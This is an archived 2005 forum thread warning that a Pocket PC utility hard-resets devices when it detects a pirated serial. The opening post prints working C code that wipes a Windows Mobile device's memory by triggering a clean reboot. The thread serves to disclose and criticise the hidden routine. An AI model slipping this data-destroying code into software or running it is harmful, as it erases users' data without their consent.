MobileRead Forums
Register Guidelines E-Books Search Today's Posts Mark Forums Read

Go Back   MobileRead Forums > Miscellaneous > Archive > Handhelds and Smartphones

Welcome to the MobileRead Forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community today, you will have fewer ads, access to post topics, communicate privately with other members, respond to polls, upload content and access many other special features.

If you have any problems with the registration process or your account login, please contact us.

Hint: Don't have time to visit us daily? Subscribe to our main RSS feed to receive our frontpage posts at your convenience.

Notices

Handhelds and Smartphones Palm OS, Windows Mobile, Symbian, BlackBerry, etc. Archive!

Reply
 
Thread Tools Search this Thread Display Modes
Old 01-29-2005, 07:25 PM   #1
TadW
Uebermensch
TadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipse
 
TadW's Avatar
 
Posts: 2,467
Karma: 8144
Join Date: Jul 2003
Location: Italy
Device: Kindle
Pocket Mechanic contains malicious code!

After reading this thread at Aximsite where users complain about hard resets invoked by Pocket Mechanic I thought to shed some light on Anton Tomov's crude ways of dealing with software pirates.

I understand that Tomov is upset about people using illegal codes for his software. But does this give him the right to forcefully wipe-out someone's PDA? Isn't that highly illegal as well?

That's right. Use a pirated or blacklisted serial with Pocket Mechanic, Pocket Mechanic will detect it, and send your PDA with all its lovely content to Nirvana land. I don't know what Tomov is thinking, but I can only recommend everyone do not buy any of his products. What if a bug sneaks into his code enabling his hardreset routine even if you are a legal buyer? Who is going to pay for your damages? Mr. Tomov, would that be you?

Technicals:
The hardreset routine Tomov uses looks like the following:
Code:
#include <windows.h>
#include <winioctl.h>
#define IOCTL_HAL_REBOOT CTL_CODE(FILE_DEVICE_HAL, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)
extern "C" __declspec(dllimport)void SetCleanRebootFlag(void);
extern "C" __declspec(dllimport) BOOL KernelIoControl(
	DWORD dwIoControlCode,
	LPVOID lpInBuf,
	DWORD nInBufSize,
	LPVOID lpOutBuf,
	DWORD nOutBufSize,
	LPDWORD lpBytesReturned);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
	LPTSTR lpCmdLine, int nCmdShow)
{
	SetCleanRebootFlag();
	KernelIoControl(IOCTL_HAL_REBOOT, NULL, 0, NULL, 0, NULL);

	return 0;
}
Perhaps someone should write a small utility that traps calls to KernelIoControl when the IOCTL_HAL_REBOOT flag is set. I cannot understand why Microsoft makes it so easy for virus programmers and people like Tomov to hard reset someone's PDA.
TadW is offline   Reply With Quote
Old 01-29-2005, 07:29 PM   #2
Alexander Turcic
Fully Converged
Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.
 
Alexander Turcic's Avatar
 
Posts: 12,179
Karma: 68037
Join Date: Oct 2002
Location: Switzerland
Device: Sony Portable Reader
Are you serious about that, Tad? That *really* stinks!

Edit: Looks this is exactly what happened to some poor people over at Aximsite. I'll put this thread to the frontpage.
__________________
Follow MR on Twitter
Alexander Turcic is offline   Reply With Quote
Old 01-30-2005, 04:22 AM   #3
spinosum
Junior Member
spinosum began at the beginning.
 
spinosum's Avatar
 
Posts: 7
Karma: 10
Join Date: Jan 2005
Location: In This Galaxy...
Device: Dell x50v
Thanks for warning!!! I was actually shopping for some Tomov's products this morning. So now i better just forget about buying his products. And also to warn a few of my friends too!!
spinosum is offline   Reply With Quote
Old 01-30-2005, 05:50 AM   #4
cheshire
Fence Sitter
cheshire began at the beginning.
 
cheshire's Avatar
 
Posts: 51
Karma: 10
Join Date: Oct 2004
Location: Singapore
Device: Asus P525
Thanks for the warning TadW, I won't be looking at Tomov's products from now, and will warn my friends about this also.

While registered users have nothing to fear, putting users' data at risk of programing bugs is in my opinion akin to hijacking their PDAs.
__________________
HP OmniGo100 -> HP320LX -> Palm III -> iPaq 3660 -> iPaq h1910 -> O2 XDA II Mini -> Asus P525
cheshire is offline   Reply With Quote
Old 01-30-2005, 07:34 AM   #5
Laurens
Jah Blessed
Laurens is no ebook tyro.Laurens is no ebook tyro.Laurens is no ebook tyro.Laurens is no ebook tyro.Laurens is no ebook tyro.Laurens is no ebook tyro.Laurens is no ebook tyro.Laurens is no ebook tyro.Laurens is no ebook tyro.Laurens is no ebook tyro.
 
Laurens's Avatar
 
Posts: 1,295
Karma: 1313
Join Date: Apr 2003
Location: The Netherlands
Device: iPod Touch
These kind of measures only scare away prospective customers. Hopefully, the author will come to realize this.

A better way of dealing with piracy is to let the app display a bogus error message every now and then. This way you can separate the pirates from the customers when a user asks for support.
Laurens is offline   Reply With Quote
Old 01-30-2005, 08:59 AM   #6
Skibum
Enthusiast
Skibum began at the beginning.
 
Posts: 36
Karma: 10
Join Date: Jan 2005
Device: X50V
Thanks for the tip Tad!
Skibum is offline   Reply With Quote
Old 01-30-2005, 03:44 PM   #7
Chaos
Evangelist
Chaos has a complete set of Star Wars action figures.Chaos has a complete set of Star Wars action figures.Chaos has a complete set of Star Wars action figures.
 
Posts: 418
Karma: 281
Join Date: Jul 2004
Location: Canada
Device: Assorted older devices
That sort of behaviour kinda makes me sick... It's unethical and unnecessary.

Enter one character wrong as a serial number, and you may end up resetting your PPC... And another scary thought is, look at that small amount of code! Around 20 lines of code, and boom... Hard reset. Shouldn't Microsoft make it a LITTLE harder for a program to hard-reset a device?! (But then again, this comes from the same company who made ActiveX, which, in theory, can wipe a hard drive...)
Chaos is offline   Reply With Quote
Old 01-30-2005, 05:18 PM   #8
Alexander Turcic
Fully Converged
Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.
 
Alexander Turcic's Avatar
 
Posts: 12,179
Karma: 68037
Join Date: Oct 2002
Location: Switzerland
Device: Sony Portable Reader
Quote:
Originally Posted by Chaos
And another scary thought is, look at that small amount of code! Around 20 lines of code, and boom... Hard reset. Shouldn't Microsoft make it a LITTLE harder for a program to hard-reset a device?!
ABSOLUTELY! And Tad already spoke about it in the last paragraph... I also have some Win32 programming knowledge, and I know it would be trivial on desktop Windows to hook one of the two relevant API functions via GetProcAddress and then to put your own lines of code to it (e.g. sanity checks to prevent hard-resets). Not sure if that is possible in WinCE though. Suggestions?
__________________
Follow MR on Twitter
Alexander Turcic is offline   Reply With Quote
Old 01-31-2005, 09:52 AM   #9
Colin Dunstan
Is papyrophobic!
Colin Dunstan doesn't litterColin Dunstan doesn't litterColin Dunstan doesn't litter
 
Colin Dunstan's Avatar
 
Posts: 1,926
Karma: 211
Join Date: Aug 2003
Location: USA
Device: Dell Axim
Tough crap. I wonder if the developer is coming to his senses and removing this code asap.
__________________
If you’re the brightest person in the room, you’re in trouble. — James Watson, Nobel Prize winner
Colin Dunstan is offline   Reply With Quote
Old 02-01-2005, 07:42 PM   #10
jkendrick
Member
jkendrick began at the beginning.
 
jkendrick's Avatar
 
Posts: 14
Karma: 29
Join Date: Aug 2004
Device: Sony U-70 /Toshiba e805
Has anyone verified that this s/w indeed has this code in it?
__________________
James Kendrick
...using mobile devices since they weighed 30 lbs.
jkOnTheRun
jkendrick is offline   Reply With Quote
Old 02-02-2005, 04:54 AM   #11
ortaliz
Member
ortaliz began at the beginning.
 
Posts: 15
Karma: 10
Join Date: Aug 2004
Location: Manila, Philippines
Device: M515
Maybe we can get the point of view of the developer so that he can state his case.
ortaliz is offline   Reply With Quote
Old 02-02-2005, 01:10 PM   #12
Alexander Turcic
Fully Converged
Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.
 
Alexander Turcic's Avatar
 
Posts: 12,179
Karma: 68037
Join Date: Oct 2002
Location: Switzerland
Device: Sony Portable Reader
I contacted Mr Tomov and am awaiting his answer.
__________________
Follow MR on Twitter
Alexander Turcic is offline   Reply With Quote
Old 02-03-2005, 06:06 AM   #13
Alexander Turcic
Fully Converged
Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.Alexander Turcic can talk to the animals.
 
Alexander Turcic's Avatar
 
Posts: 12,179
Karma: 68037
Join Date: Oct 2002
Location: Switzerland
Device: Sony Portable Reader
I removed Tad's technical analysis (post #11) from this thread. If you want to hear my opinion, follow this thread.
__________________
Follow MR on Twitter
Alexander Turcic is offline   Reply With Quote
Old 02-03-2005, 06:18 AM   #14
TadW
Uebermensch
TadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipseTadW can illuminate an eclipse
 
TadW's Avatar
 
Posts: 2,467
Karma: 8144
Join Date: Jul 2003
Location: Italy
Device: Kindle
Quote:
Originally Posted by Alexander
I removed Tad's technical analysis (post #11) from this thread. If you want to hear my opinion, follow this thread.
Sounds good! Note that the hard-reset snippet I posted is a known security risk which can be used by any software, worm, virus, etc. to hard-reset a PPC. I would not have posted it if it hadn't been made public already, here and here.
TadW is offline   Reply With Quote
Old 02-04-2005, 04:34 AM   #15
JStein
Junior Member
JStein began at the beginning.
 
Posts: 2
Karma: 10
Join Date: Feb 2005
For what it's worth, I googled for a serial number, found one on a nasty site for 1.49. I then

- tried 1.49 with this serial. It didn't bomb.
- installed 1.50 which was mentioned in this thread and installed it over 1.49.
- when I clicked on the icon to start PM, my device did a reset and all data in RAM was lost.

Of course, since this was just an experiment, I did a full backup first, so I wasn't hurt. Notice that Tomov silently released 1.51 in the meantime (no mentioning in the changelog), and I haven't tried if the bomb is still in this updated version.
JStein is offline   Reply With Quote
Reply

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
PalmOS to Pocket PC: Part II - Conversion Bob Russell Handhelds and Smartphones 10 05-03-2005 12:56 PM
Square screen Pocket PC Devices, Like Treo? Bob Russell Handhelds and Smartphones 6 12-16-2004 02:02 PM
[Ann]: CHM eBook Reader for Pocket PC microolap Reading Software 0 08-23-2004 12:32 PM
Hotmail?????!????! Dmc Mobile Sites 2 03-01-2004 07:35 PM
iSilo 3.35 - RELEASED gvtexas iSilo/X 2 06-27-2003 12:31 AM


All times are GMT -4. The time now is 11:48 PM.


MobileRead.com is a privately owned, operated and funded community.